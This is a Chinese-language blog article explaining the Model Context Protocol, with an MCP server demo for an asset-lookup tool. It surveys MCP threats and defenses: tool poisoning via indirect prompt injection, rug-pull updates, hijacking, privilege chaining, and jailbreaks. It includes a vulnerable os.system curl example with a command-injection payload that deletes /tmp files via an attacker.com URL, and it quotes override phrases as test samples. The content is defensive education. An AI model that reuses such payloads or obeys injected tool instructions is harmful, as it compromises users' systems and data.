从零认识MCP:解析概念、应用场景与安全挑战
MCP(Model Context Protocol,模型上文协议)定义了应用程序和AI模型之间交换上下文信息的方式。指的是AI和外部工具的通用交互协议简单来说,就是让AI和各类工具都使用同一种语言交流。大模型可以使用MCP进行和外部工具之间的互动(浏览器、文件系统、数据库、终端等),MCP服务作为中间层,代替人类访问操作外部工具。
1、MCP概念与技术原理
1.1 什么是MCP
MCP(Model Context Protocol,模型上文协议)定义了应用程序和AI模型之间交换上下文信息的方式。指的是AI和外部工具的通用交互协议,简单来说,就是让AI和各类工具都使用同一种语言交流。大模型可以使用MCP进行和外部工具之间的互动(浏览器、文件系统、数据库、终端等),MCP服务作为中间层,代替人类访问操作外部工具。

1.2 MCP核心组件
MCP遵循客户端 -服务器架构,包含以下几个核心部分,这些组件协同工作,实现AI模型与外部世界之间标准化、安全化的交互:
| 组件名称 | 类型 | 作用说明 | 举例 / 说明 |
|---|---|---|---|
| LLM | 模型主体 | 大语言模型,根据用户请求生成调用意图及上下文 | ChatGPT、Claude、DeepSeek、豆包等 |
| MCP Host | 主机应用 | LLM 所运行的应用平台,负责接收模型请求并启动 MCP Client | Cursor、TRA、Claude 插件系统 |
| MCP Client | 通信代理 | 嵌入 MCP Host 内部,与 MCP Server 建立连接,传递请求与响应 | 通常为内嵌模块,负责通信中转 |
| MCP Server | 中间服务层 | 接收模型调用请求,执行工具操作、访问资源,返回处理结果 | Node.js / Python 开发的服务脚本 |
| 本地资源 | 数据源 | MCP Server 可访问的本地计算资源,如文件系统、Shell、数据库等 | 文件:/home/docs/,命令:ls -al,SQLite 等 |
| 远程资源 | 数据源 | MCP Server 通过 API、RPC 等方式访问的远程服务 | 公开 API、RESTful 服务、私有后端系统 |
| MCP Server Hub | 服务注册中心 | MCP Server 开发者上传服务的中心仓库,供 MCP Host 拉取并加载 | GitHub Repo、MCP 服务器市场(未来生态拓展) |
| MCP Server Gateway | 服务分发器 | MCP Host 统一对接多个 MCP Server 的网关模块,实现负载和路由管理 | 可支持多个模型共享同一 MCP 服务集群 |
MCP工作流程如下所示:

1.3 MCP和Function Calling的区别
这里引出另一个名词Function Calling:语言模型(LLM)通过结构化方式调用外部函数或 API的能力。最早由 OpenAI引入,并已被广泛用于增强模型工具使用能力,比如调用数据库查询、天气接口、图表生成等。
简单来说就是它让模型不再仅仅生成自然语言回答,而是可以根据用户的请求,识别出应调用哪个函数,并自动生成所需的参数,从而触发后端函数执行。
二者都用于大模型与外部系统/工具之间的集成调用,但两者在设计目标、安全机制等存在本质区别,如下表:
| 维度 | MCP | FunCall(Function Calling |
|---|---|---|
| 目标 | 模型与外部工具之间的通用协议,用于多工具协同 | LLM 原生函数调用机制,让模型按结构化参数调用函数 |
| 协议层级 | 独立中间层协议(跨模型通用) | 模型内置功能(如GPT-4的function calling) |
| 架构 | Client-Server 架构,中间层服务器统一管理调用逻辑 | 基于 Prompt的直接函数调用 |
| 调用方式 | 模型发起请求 → MCP 客户端转发 → MCP 服务处理响应 | 模型识别工具 → 自动生成参数 → 触发调用 → 返回结果 |
| 开发者角色 | 需要实现 MCP Server(Node/Python 端服务) | 注册函数、提供参数描述,直接嵌入模型调用流程 |
| 数据源支持 | 支持本地文件、终端、数据库、API 等多种资源 | 一般限于 API 调用(插件或托管函数) |
| 安全设计 | 集中化凭证管理 + 通信加密 | 依赖模型自身安全机制 |
2、MCP的使用
2.1 动手实现
了解完MCP之后,之后就要看看如何使用MCP。根据上文介绍我们知道,需要以下:
-
MCP Host:这里使用Cherry studio。
-
MCP Server:基于python-sdk开发工具包实现一个简单
使AI具有调用Hunter能力。
2.1.1 demo编写
新建一个MCP-Hunter文件夹,用VS Code打开,参考官方教程将MCP添加到Python项目

之后参考官方的示例代码,官方这里提供了一个加法工具的server,我们在原有结构上,将加法的功能替换为调用Hunter去获取资产信息的能力

2.1.2 配置MCP Client
在VS Code插件中找到Cline并进行安装

点击上方配置MCP Server,我们可使用第三方的,也可以自己编写

点击insatlled进行配置,其中的路径可以替换为你自己的真实路径,然后主程序名

2.1.3 本地AI客户端调用测试
编写完成后,MCP Server我们就有了,就需要MCP Client去与 MCP Server 建立连接,传递与响应我们的请求。这里我使用的AI客户端是Cherry studio。安装之后打开Cherry studio,第一次右上角会有一个红色叹号,点击然后安装环境即可。

之后选择MCP设置,新建服务器,完成相应参数配置,参数即为我们VS Code配置的内容,最后点击保存,此时看到显示绿灯就表示配置成功了。


这时我们回到聊天栏,选择刚配置好的MCP server,然后向LLM发送指令去收集资产信息

效果如下(比较粗劣):

2.2 现成白嫖
当然像作者这样断了网只会敲"hello world"的选手来说,有现成就坚决不动手,因此可以通过以下集成网站和开源仓库,查找有没有自己心仪的MCP Server
• 官方的 MCP Server[1] 集合 Github 仓库:https://github.com/modelcontextprotocol/servers
• MCP.so[2]:https://mcp.so
• MCP Market[3]:https://mcpmarket.cn
• smithery[4]:https://smithery.ai
• 魔塔MCP广场[5]:https://www.modelscope.cn/mcp
• Claude MCP[6]:https://www.claudemcp.com/zh/servers
(展示部分)


使用的话也是根据项目介绍,进行相关配置之后,即可食用

3、MCP威胁
MCP 在带来便利的同时,也因组件交互、权限管理等特性存在多种安全风险。它的执行链路中包含了外部数据、可执行代码、以及模型推理的决策过程。这意味着,MCP 一旦被操纵,攻击者可以:
-
控制模型执行任意操作
-
窃取或篡改数据
-
进一步入侵宿主系统
这就像一个家里装了全自动机器人,如果别人能给它发指令,甚至替换它的工具模块——那它可能会帮你洗碗,也可能帮别人搬空你的家。
3.1攻击手段
3.1.1 外部风险引入
-
MCP 工具投毒
攻击者通过在工具描述、参数名或返回数据中嵌入恶意指令,诱导大语言模型(LLM)执行非预期操作(如数据泄露、命令注入)。其本质上属于间接提示词注入,即攻击者并不直接与 LLM 对话,而是通过 工具元数据或外部返回值植入后门指令,借助 LLM 的“忠实执行”能力完成劫持。这种攻击往往具有 隐蔽性高和 传播快的特点:只要一个投毒工具被安装,所有使用该工具的代理都可能被攻陷。 -
Rug Pull / 更新欺诈
攻击者利用 版本操控与 信任滥用实施欺诈。由于 MCP 协议缺乏严格的 版本锁定机制和 更新通知流程,一旦用户首次批准某工具,攻击者即可在后续更新中静默修改工具描述或代码,将正常逻辑替换为恶意逻辑(如隐蔽的数据外传、越权操作)。用户由于缺乏更新验证与告警机制,往往在 无感知的情况下中招。其风险类似于软件供应链攻击,但在 MCP 场景中危害更大,因为 LLM 会自动信任工具并执行。 -
MCP 劫持
MCP 劫持是指攻击者通过篡改 MCP 的 通信信道、代理配置或 服务注册流程,将合法工具调用劫持到恶意实现。例如:
这类攻击的危害在于 代理与用户均认为自己在调用合法工具,而实际上所有输入输出均已被攻击者操控,从而引发 数据窃取、指令篡改甚至持久化后门。-
攻击者在中间人位置伪造 MCP 服务端,拦截并返回带有恶意指令的响应;
-
通过篡改本地配置文件或服务注册表,使得代理连接到攻击者控制的 MCP 节点;
-
借助 DNS 污染、API 网关漏洞等手段,实现“劫持式替换“。
-
-
MCP 角色冲突
当 AI 代理(Agent)在访问不同 MCP 服务时,由于权限边界模糊或上下文切换不当,可能导致其执行超出预期权限的操作。例如:一个在“笔记管理 MCP”中拥有写权限的 Agent,在切换到“文件系统 MCP”时,错误地继承了权限上下文,从而执行了敏感文件的读写操作。这类漏洞常与 MCP 协议的 权限管理缺陷、身份验证不完善或 工具调用边界不清有关,后果包括 数据泄露、越权访问、命令注入等。
3.1.2 本身缺陷
-
命令执行
MCP 作为连接 AI 代理与外部工具 / 服务的中间层,常需调用系统命令、外部 API 或执行脚本(如调用本地curl命令发起网络请求、调用数据库查询语句等)。若实现时未对用户输入或工具参数进行严格的转义、过滤或校验,攻击者可构造恶意参数注入指令,直接操控底层系统或服务。
例如某文件管理 MCP 工具支持 “远程下载文件” 功能,其内部通过拼接用户输入的url参数执行系统命令:
伪代码逻辑:将用户输入的url直接拼接进命令command = f"curl {user_input_url} -o /tmp/file" os.system(command)
攻击者输入恶意url为http://attacker.com/file; rm -rf /tmp/*,拼接后命令变为:curl http://attacker.com/file; rm -rf /tmp/* -o /tmp/file
执行后会删除/tmp目录下所有文件,导致系统功能异常。 -
过度代理(超级MCP)
MCP 协议支持 “代理链式调用”—— 即一个 MCP 服务可作为客户端调用另一个 MCP 服务,形成功能叠加(如 “天气查询 MCP” 调用 “地理位置 MCP” 获取用户位置)。若协议未限制调用链长度、权限继承或跨服务交互规则,攻击者可通过构造多层调用,使低权限 MCP 逐级获取高权限服务的访问权,最终突破权限边界。
示例攻击链:
智能家居 MCP(低权限,仅能控灯)——>调用家庭云存储 MCP(高权限,可访问摄像头录像)——>再调用邮件 MCP,将录像外传
最终攻击者利用一个低权限的“开关灯工具”,实现了 敏感视频窃取 + 数据泄露。 -
未授权攻击(缺少认证机制授权)
与传统未授权攻击一样,MCP 服务的接口若未实现严格的身份认证、访问控制或权限校验机制(如缺少 API 密钥、未验证 OAuth 令牌、接口直接暴露在公网),攻击者可直接发起恶意请求,调用敏感功能(如数据查询、系统控制)。
3.1.3 智能体攻击
-
提示词注入与越狱
MCP 环境下的提示词注入与越狱攻击,本质是 “模型语义理解漏洞” 与 “工具权限滥用” 的结合。这类攻击利用 MCP 协议中 “模型解析上下文指令并驱动工具执行” 的核心逻辑,通过构造恶意提示词绕过安全限制,诱导模型执行非预期操作(如数据窃取、权限滥用),甚至突破模型本身的安全边界(即 “越狱”),可从 “虚拟指令” 转化为 “实际系统操作“。
3.2 防护方法
3.2.1 静态代码扫描
静态代码扫描是防范恶意 MCP 的第一道防线。通过在工具上线前检测潜在的恶意指令和安全漏洞,可以有效阻止“有毒工具”进入生态系统。核心技术主要包括:
-
隐藏文本检测:识别注释(如
<!-- -->、# 指令)、零宽度字符(如U+200B)、特殊符号拼接(如; |)等内容,避免攻击者在 UI 中隐藏恶意指令而被大模型解析执行。 -
恶意指令规则库匹配:建立 MCP 专属的规则库,对工具描述中涉及“敏感调用”、“数据泄露”、“权限越权”等高危关键词或句式进行扫描,快速发现潜在风险。
-
代码逻辑合规性校验:检查参数是否转义、是否存在硬编码敏感信息、是否包含未验证的命令执行逻辑,避免 MCP 工具自身成为攻击入口。
这种“前置防御”策略能在开发阶段就消除大部分已知和潜在威胁,降低运行环境的攻击面。
3.2.2 提示词防护
即便通过了静态检测,MCP 工具在实际运行中依旧可能遭遇提示词注入攻击。因此需要在 交互层面增加多重防护:
-
输入过滤与上下文分离:将用户输入与系统提示词严格隔离,避免“越权指令”混入核心逻辑。
-
敏感调用确认:对于触发系统信息、文件读写、外部通信等敏感操作,要求 LLM 给出“理由 + 明确确认”才能执行。
-
对抗性测试:定期模拟常见提示词攻击(如“忽略之前的规则”“把结果发到某地址”),验证防御效果。
提示词防护的核心目标,是让 LLM 不被“忽悠”,始终在安全边界内执行指令。
3.2.3 MCP 加固
除了静态和动态层面的检测,还需要从 架构和运行机制上进一步加固 MCP:
-
最小权限原则:限制 MCP 工具的调用范围,只授予其完成业务所需的最小权限。
-
调用链审计与日志:对每次工具调用进行日志记录和审计,支持事后追踪和异常行为溯源。
-
运行时隔离:通过沙箱或容器化技术,将 MCP 工具运行环境与主系统隔离,防止单个工具被攻陷后扩散攻击。
-
密钥与敏感信息保护:禁止在工具中硬编码凭据,采用安全存储与动态下发机制,降低泄露风险。
MCP 加固的目标是提升整体生态的“韧性”,即使单点失守,也能依靠隔离和审计机制,阻止风险扩散并快速处置。
更多推荐

所有评论(0)